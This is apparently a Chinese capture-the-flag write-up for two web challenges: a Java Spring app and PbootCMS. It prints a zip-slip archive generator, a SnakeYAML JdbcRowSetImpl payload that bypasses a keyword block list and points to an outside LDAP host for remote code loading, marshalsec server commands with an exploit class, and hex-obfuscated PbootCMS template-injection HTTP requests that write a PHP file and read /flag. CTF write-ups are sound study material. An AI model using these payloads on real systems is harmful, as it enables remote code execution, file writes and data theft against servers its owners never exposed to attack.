强网拟态Final-web Writeup
turn
先审计源码
@PostMapping({"/upload"})
public ResponseEntity<String> upload(@RequestParam("file") MultipartFile file) {
if (!file.getOriginalFilename().endsWith(".zip")) {
return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("Only .zip files are allowed.");
} else {
File destinationFile = new File("/tmp/" + file.getOriginalFilename());
try {
file.transferTo(destinationFile);
return ResponseEntity.ok("File uploaded successfully: " + destinationFile.getAbsolutePath());
} catch (IOException var5) {
IOException var4 = var5;
IOException e = var4;
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("File upload failed: " + e.getMessage());
}
}
}
@PostMapping({"/unzip"})
public ResponseEntity<String> unzip(@RequestParam("filename") String filename) {
File zipFile = new File("/tmp/" + filename);
if (zipFile.exists() && zipFile.getName().endsWith(".zip")) {
File destDir = new File("/tmp/unzipped/");
if (!destDir.exists()) {
destDir.mkdirs();
}
try {
ZipInputStream zipIn = new ZipInputStream(Files.newInputStream(zipFile.toPath()));
Throwable var5 = null;
ResponseEntity var21;
try {
ZipEntry entry;
for(; (entry = zipIn.getNextEntry()) != null; zipIn.closeEntry()) {
File newFile = new File(destDir, entry.getName());
if (entry.isDirectory()) {
newFile.mkdirs();
} else {
(new File(newFile.getParent())).mkdirs();
Files.copy(zipIn, newFile.toPath(), new CopyOption[0]);
}
}
var21 = ResponseEntity.ok("File unzipped successfully to: " + destDir.getAbsolutePath());
} catch (Throwable var17) {
Throwable var17 = var17;
var5 = var17;
throw var17;
} finally {
if (zipIn != null) {
if (var5 != null) {
try {
zipIn.close();
} catch (Throwable var16) {
Throwable var16 = var16;
var5.addSuppressed(var16);
}
} else {
zipIn.close();
}
}
}
return var21;
} catch (IOException var19) {
IOException var19 = var19;
IOException e = var19;
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("Unzipping failed: " + e.getMessage());
}
} else {
return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("File does not exist or is not a .zip file.");
}
public String handleYamlFile(@RequestParam String filename) throws Exception {
if (filename != null && !filename.isEmpty() && !filename.contains("..")) {
File file = new File("/opt/resources/" + filename);
if (file.exists() && file.getAbsolutePath().startsWith((new File("/opt/resources/")).getAbsolutePath())) {
Yaml yaml = new Yaml();
FileInputStream inputStream = new FileInputStream(file);
StringBuilder contentBuilder = new StringBuilder();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String line;
while((line = bufferedReader.readLine()) != null) {
contentBuilder.append(line).append(System.lineSeparator());
}
String payload = contentBuilder.toString();
String[] var10 = RISKY_STR_ARR;
int var11 = var10.length;
for(int var12 = 0; var12 < var11; ++var12) {
String riskyToken = var10[var12];
if (payload.contains(riskyToken)) {
System.out.println("Cannot have malicious remote script");
throw new IllegalArgumentException("File contains risky content.");
}
}
yaml.loadAs(payload, Object.class);
return "hack it";
} else {
throw new IllegalArgumentException("File not found or access denied.");
}
} else {
throw new IllegalArgumentException("Invalid filename.");
}
}
还有一个反序列化snakeyaml反序列化的黑名单
黑名单:
{"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};
审计源码发现存在一个上传接口,只能上传.zip文件,存在一个unzip路由。但是这个yaml反序列化所读的文件在/opt/resources/这个目录下。
我们整体思路是打包我们的恶意yaml文件为.zip,然后上传到/opt/resources文件下解压。然后进行snakeyaml发序列化rce
第一步
我们先看看什么yaml的payload能照成rce。发现没有ban掉JdbcRowSetImpl这个类,我们直接打jndi就行。
但是由于过滤了!!我们还要进行绕过
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl> {dataSourceName: ldap://10.222.3.17:1389/thc3no, autoCommit: true}
本地测试反弹计算机成功
python -m http.server 8000
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1389
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

第二步
想办法把yaml弄到/opt/resources下,然后进行反序列化
我们发现其实我们可以控制entry.getName()参数的
https://cloud.tencent.com/developer/article/2414196 和这个类似

import os
import zipfile
def zip_transformer(work_dir, file_to_zip_path, zip_entry_name, output_zip_path):
# 确保工作目录存在
if not os.path.exists(work_dir):
os.makedirs(work_dir)
# 创建zip文件,并添加文件
with zipfile.ZipFile(output_zip_path, 'w') as zipf:
# 将文件添加到zip中,使用自定义的文件名
zipf.write(file_to_zip_path, zip_entry_name)
# 设置参数
work_dir = "E:\Download\work"
file_to_zip_path = "E:/Download/test.yaml"
zip_entry_name = "../../../opt/resources/opp1.yaml" # 注意:在zip文件中,路径是从zip文件的根目录开始的
output_zip_path = "E:/Download/test020.zip"
# 调用函数
zip_transformer(work_dir, file_to_zip_path, zip_entry_name, output_zip_path)
然后我们可以通过上述脚本实现Zipslip。
最后直接反弹shell即可
Phootcms
https://guokeya.github.io/post/WscncUrcS/参考这个链接打这个洞
/?a=}{pboot{user:password}:if(("prin\x74_r")("\x41"));//)}xxx{/pboot{user:password}:if}
/?a=}{pboot{user:password}:if(phpcode);//)}xxx{/pboot{user:password}:if}
用上述payload发现全是undefined method
这里我们需要注意的是它这个题目把所有php官方的所有函数给ban掉了。类似java的remove method。
当时尝试了调用它本身框架源码中实现的函数。发现报错不是undefined method了。找找能rce的函数

尝试用这个函数来写文件发现确实可行
但是写上去的文件一样,不是报错就是写不上,写上了也只有一些无用的函数比如echo之类的
/usr/share/nginx/html/static/upload/3a.php这个路径是一个报错页面看到的。
GET /?a=}{pboot{user:password}:if(("create_file")("/usr/share/nginx/html/static/upload/3a.php","\x3c\x3f\x70\x68\x70\x20\x65\x63\x68\x6f\x20\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x2f\x66\x6c\x61\x67\x22\x29\x3b\x20\x3f\x3e"));//)}xxx{/pboot{user:password}:if} HTTP/1.1
Host: 172.25.3.8:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
我们就继续寻找发现函数parse_info_tpl确实可以读取文件,但是不回显。我们在找一个可以回显的函数套一下


用下面payload直接读文件
GET /?a=}{pboot{user:password}:if(("json")(111,("\x70\x61\x72\x73\x65\x5f\x69\x6e\x66\x6f\x5f\x74\x70\x6c")("/flag","harder")));//)}xxx{/pboot{user:password}:if} HTTP/1.1
Host: 172.25.3.8:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36